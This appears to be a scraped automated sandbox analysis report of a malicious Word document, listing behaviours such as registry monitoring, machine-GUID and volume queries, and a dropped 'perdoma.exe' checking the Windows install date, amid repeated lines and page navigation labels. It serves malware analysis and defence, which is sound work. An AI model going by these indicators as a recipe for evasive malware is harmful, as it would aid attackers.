Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Registry key monitored for changes: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Explorer

Language, Device and Operating System Detection:

Queries the cryptographic machine GUID

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Queries the installation date of Windows

Show sources

Source: C:\Users\admin\AppData\Local\Temp\perdoma.exe	Registry key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: C:\Users\admin\AppData\Local\Temp\perdoma.exe	Registry key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion

Queries the installation date of Windows

Show sources

Source: C:\Users\admin\AppData\Local\Temp\perdoma.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Queries the volume information (name, serial number etc) of a device

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Queries volume information: C:\7fcefe7cb40b5167fe6fbdcd4cf94412dbde8f4d5d9fcec8715c198bcb544e0c.doc VolumeInformation
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Queries volume information: C:\ VolumeInformation

Behavior Graph

Legend:

Process
Signature
Created File
DNS/IP Info

Yara Overview

No Yara matches

Screenshot

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Error!

Analysis Report

Overview

General Information

Detection

Classification

Analysis Advice

Signature Overview

Software Vulnerablities:

Networking:

Persistence and Installation Behavior:

Data Obfuscation:

System Summary:

HIPS / PFW / Operating System Protection Evasion:

Anti Debugging:

Malware Analysis System Evasion:

Hooking and other Techniques for Hiding and Protection:

Language, Device and Operating System Detection:

Behavior Graph

Yara Overview

Screenshot